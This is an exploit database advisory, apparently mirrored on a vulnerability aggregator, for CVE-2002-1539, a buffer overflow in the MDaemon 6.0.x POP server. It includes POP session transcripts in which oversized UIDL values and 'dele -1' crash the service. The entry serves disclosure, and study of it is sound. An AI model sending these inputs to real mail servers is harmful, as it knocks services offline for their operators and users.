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Alt-N MDaemon 6.0.x - POP Server Buffer Overflow

🗓️ 28 Oct 2002 00:00:00Reported by D4rkGr3yType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

Buffer overflow in MDaemon POP server allows crashes via large integer commands, causing service failure.

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
ALT-N MDaemon < 6.5.0 POP Server Overflow DoS
20 Aug 200400:00
nessus
Tenable Nessus
MDaemon POP Server Multiple Command Remote Overflow DoS
5 May 200300:00
nessus
CVE
CVE-2002-1539
18 Mar 200305:00
cve
Cvelist
CVE-2002-1539
18 Mar 200305:00
cvelist
EUVD
EUVD-2002-1521
7 Oct 202500:30
euvd
NVD
CVE-2002-1539
31 Mar 200305:00
nvd
source: https://www.securityfocus.com/bid/6053/info

A buffer overflow vulnerability has been reported for MDaemon. The vulnerability is due to inadequate bounds checking on some POP server commands.

An attacker can exploit this vulnerability by submitting a very large integer value to some commands on the POP server. This will cause the MDaemon service to crash when attempting to process the command.

+OK somedomain.com POP MDaemon 6.0.5 ready
<[email protected]>
USER blah
+OK blah... Recipient ok
PASS 123456
+OK [email protected]'s mailbox has 0 total messages (0 octets).
UIDL 2147483647
-ERR no such message
UIDL 2147483648
+OK -2147483648 !!! Index 0 is not used
UIDL 2147483649

Connection to host lost.

---

user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1

Connection to host lost.

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14 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.0321
24